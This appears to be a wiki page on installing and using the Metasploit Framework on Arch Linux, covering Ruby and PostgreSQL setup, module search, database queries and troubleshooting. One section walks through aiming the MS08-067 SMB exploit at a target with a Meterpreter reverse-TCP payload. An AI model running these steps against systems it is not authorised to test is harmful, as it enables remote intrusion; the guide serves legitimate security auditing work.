Metasploit Framework

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Consider the MSF to be one of the single most useful auditing tools freely available to security professionals today. From a wide array of commercial grade exploits and an extensive exploit development environment, all the way to network information gathering tools and web vulnerability plugins. The Metasploit Framework provides a truly impressive work environment. The MSF is far more than just a collection of exploits, it's an infrastructure that you can build upon and utilize for your custom needs. This allows you to concentrate on your unique environment, and not have to reinvent the wheel.

Currently, Metasploit requires to setup and configure PostgreSQL on target system to work. This wiki will show how to get Metasploit working with a PostgreSQL database.


Install package metasploit. It is optional to follow the RVM setup instructions below. For latest development version, install metasploit-gitAUR instead.


Armitage is a GUI front end for Metasploit written in Java; it can be installed with the armitage-gitAUR package.

When running Armitage, #Setting up the database is not optional, and must be followed. It is also mandatory to use a ~/.msf4/database.yml file.

A sample database.yml file is packaged with Armitage as /usr/share/metasploit/database.yml.sample.


Msfconsole requires Ruby and some Ruby#RubyGems to run without error.

Follow the RVM#Installation and RVM#Using RVM articles to install and use Ruby version 3.0.5 (see Metasploit Git Repo) and set it to default.

Once complete, source the newly created RVM installation:

$ source ~/.rvm/scripts/rvm

Now cd into /opt/metasploit and use Ruby#Bundler to install all gems necessary to run Msfconsole:

$ gem install bundler
$ bundle install
Note: Using a version of Ruby older than 2.3.1 will result in the failure to install the metasploit-concern gem.

Setting up the database

Note: Commands which must be run from msfconsole will be prefixed with msf > in this article.

Metasploit can be used without a database, but cache operations like searching would be very slow. This section shows how to set up Metasploit with Postgresql database server.

Note: If you are using the #Armitage front-end, the database is mandatory.

Follow the PostgreSQL article to setup / start the service. Once the service is started and running, run :

msfdb init --connection-string=postgresql://postgres@localhost:5432/postgres

The database should now be properly initialized, and the connection should be automatically established when running msfconsole.

Note: The database cache needs to be built only once. Later on upon startup, msfconsole will say [*] Rebuilding the module cache in the background..., but it will actually only update the changes. If no changes are made to the database, it will take only half a second.

Run db_status to verify that database connection is properly established:

msf > db_status
[*] postgresql connected to msf


There are several interfaces available for Metasploit. This section will explain how to use msfconsole, the interface that provides the most features available in MSF.

To start it, simply type msfconsole. The prompt will change to msf > to indicate it is waiting for commands.

Tip: Besides additional Metasploit commands explained below, all the regular shell commands and scripts found in $PATH are available too! (except for aliases)

Module types

Everything (scripts, files, programs etc) in Metasploit is a module. There are 6 types of modules:

  • auxiliary - Modules for helping the attacker in various tasks, like port scanning, version detection or network traffic analysis
  • exploit - The code that takes advantage of a vulnerability and allows the execution of the payload, like triggering buffer overflow or bypassing authentication
  • payload - The thing that has to be done right after a successful exploit, like establishing a remote connection, starting a meterpreter session or executing some shell commands
  • post - Various programs that can be run after successful exploitation and remote connection, like collecting passwords, setting up keyloggers or downloading files
  • encoder - Programs for performing encryption
  • nop - NOP generators. NOP is an assembly language instruction which simply does nothing. The machine code of this instruction is different on each hardware architecture. NOP instructions are useful for filling the void in executables.

Searching for exploits

To discover what operating system and software version a target runs, perform a port scan. With this information, use the search command to search for available exploits.

To search for all exploits targeting Novell on the Linux platform:

msf > search platform:linux type:exploit name:Novell

To search for all exploits on the Linux platform containing the keyword Apache and filter the results with grep:

msf > grep RCE search platform:linux type:exploit Apache

To search for specific field, type its name, followed by column and the phrase. The following search fields are available:

Search field Matches Possible values DB table & column
app Passive (client) or Active (server) exploits client, server module_details.stance
author Name and email of module Author Any phrase
type The module type auxiliary, exploit, payload, post, encoder, nop module_details.mtype
name The path (Name) and the short description Any phrase module_details.fullname,
platform The target hardware or software platform bsdi, netware, linux, hpux, irix, osx, bsd, platform, java, javascript, unix, php, firefox, nodejs, ruby, cisco, android, aix, windows, python, solaris
bid, cve, edb, osvdb or ref The Bugtraq[dead link 2023-05-07 ⓘ], CVE, Exploit-DB, OSBDB ID or any Exploit database entry ID, or a part of upstream report URL
(No field) All of the above except app and type Any phrase All of the above

See #Searching from the database and #Database search examples for more advanced search queries.

Using an exploit

After choosing an appropriate exploit, it is time to start hacking!

First, select an exploit using the use command:

msf > use exploit/windows/smb/ms08_067_netapi
Note: ms08_067_netapi is one of the most popular exploits affecting Windows XP and Windows Server 2003 SMB services. It was disclosed in 2008 and proves to be very reliable in exploiting unpatched systems which have firewalls disabled.

To view information about a module, use the info command:

msf exploit(ms08_067_netapi) > info exploit/windows/smb/ms08_067_netapi

Running info without arguments will show info about currently selected module.

To view the selected exploit's options, run:

msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


All the required fields must be provided before exploitation. Here, only the RHOST variable must be specified. To assign a value to a variable use the set command:

msf exploit(ms08_067_netapi) > set RHOST

Now choose the payload:

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
Note: Meterpreter is a command shell built into Metasploit and allows the attacker to run remote commands on exploited systems. Reverse TCP is technique when the exploited computer establishes a connection back to the computer it was exploited from.

Choosing a payload (actually, choosing modules in general) will add more options. Run show options again:

msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST   yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (accepted: seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

Now assign LHOST variable to the address of your computer, where the exploited computer will send connection requests to:

msf exploit(ms08_067_netapi) > set LHOST

Now launch the attack!

msf exploit(ms08_067_netapi) > exploit

If you are lucky, you will be dropped to a Meterpreter session where you can do anything on the remote computer.

Tips and tricks

Searching from the database

Since everything in Metasploit is stored in a database, it is easy to make powerful search queries without the need of the search frontend command.

To start the database interface, run:

$ psql msf

The information about modules is stored in 8 tables:

Table Name Contents
module_details The "main" table, describes various details of each module
module_actions The action names of auxiliary modules
module_archs The target hardware architecture or software platform
module_authors Names and emails of module author
module_mixins Empty (???)
module_platforms The target operating system. See also #Popularity of a platform by number of exploits
module_refs References to various online exploit databases and reports
module_targets The target program name and version of the exploit
Tip: To see what type of details (columns) a table contains, run \d+ table_name. For example: \d+ module_details.

Almost all tables have 3 columns: id, detail_id and name, except for module_details table which has 16 columns.

The detail_id values are pointers to the rows of module_details table.

To see the all the contents of a table, run:

SELECT * FROM table_name;


  • Architecture
  • Platform
  • Target

Module options:

  • module type
  • stance
  • privileged
  • path
  • name
  • refname
  • rank
  • privileged
  • disclosure date

Database search examples

The module_details table contains multiple columns and viewing them all at once is not convenient. To show only basic information about the modules:

SELECT id, mtype, refname, disclosure_date, rank, stance, name
FROM module_details;

Show some information about available modules, include platform information from module_platforms:

SELECT, mtype, as platform, refname, DATE(disclosure_date), rank,
FROM module_details JOIN module_platforms ON = module_platforms.detail_id;

Show all client (aggressive) exploits for Windows platform:

SELECT, mtype, as platform, refname, DATE(disclosure_date), rank,
FROM module_details JOIN module_platforms ON = module_platforms.detail_id
WHERE = 'windows'
AND mtype = 'exploit'
AND stance = 'aggressive';

Show all exploits for Windows platform with rank >= 500 disclosed after 2013:

SELECT, mtype, as platform, refname, DATE(disclosure_date), rank,
FROM module_details JOIN module_platforms ON = module_platforms.detail_id
WHERE = 'windows'
AND mtype = 'exploit'
AND rank >= 500
AND disclosure_date >= TIMESTAMP '2013-1-1';

Show all aggressive (client) exploits for Windows platform with rank >= 500 and include additional information about module's target:

SELECT, mtype, as platform,, DATE(disclosure_date), rank, as target
FROM module_details JOIN module_platforms ON = module_platforms.detail_id JOIN module_targets on = module_targets.detail_id
WHERE = 'windows'
AND mtype = 'exploit'
AND stance = 'aggressive'
AND rank >= 500
order by target;

Popularity of a platform by number of exploits

To view the possible platform values, and number of available exploits, run from psql:

SELECT name, count(*)
FROM module_platforms

Disable the ASCII banner on startup

To disable the banner, run msfconsole with -q/--quiet argument:

$ msfconsole --quiet

Preserve variable values between sessions

If you do not want the variables to reset when selecting another module and when rerunning msfconsole then set it globally via setg, for example:

msf > setg RHOST


Cannot click in VNC viewer

If you selected VNC viewer as a payload, but are unable to click or do any actions, that means you forgot to set the ViewOnly variable to false. To fix this problem, re-run the exploit with the variable set to false:

msf > set ViewOnly false

cannot load such file -- robots (LoadError)

If you get an error like this:

~/metasploit-framework/lib/metasploit/framework.rb:19:in `require': cannot load such file -- robots (LoadError)
    from ~/metasploit-framework/lib/metasploit/framework.rb:19:in `<top (required)>'
    from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `require'
    from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `<top (required)>'
    from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `require'
    from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `<top (required)>'
    from ~/metasploit-framework/lib/metasploit/framework/parsed_options/console.rb:2:in `<top (required)>'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `const_get'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `block in constantize'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `each'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `constantize'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/core_ext/string/inflections.rb:54:in `constantize'
    from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:73:in `parsed_options_class'
    from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:69:in `parsed_options'
    from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:47:in `require_environment!'
    from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:81:in `start'
    from ./msfconsole:48:in `<main>'

This happens because the file robots.rb has incorrect permissions and can be read only by the root user (see the bug report):

$ ls -l /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib
total 4
-rw-r----- 1 root root 3174 Oct 19 16:47 robots.rb

To fix this, simply change the permission to be world-readable:

# chmod o+r /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib/robots.rb

db_connect fails silently

If upon running db_connect you see no output, but later getting a message like this:

[!] Database not connected or cache not built, using slow search

that probably means that the postgresql service is not running.

See also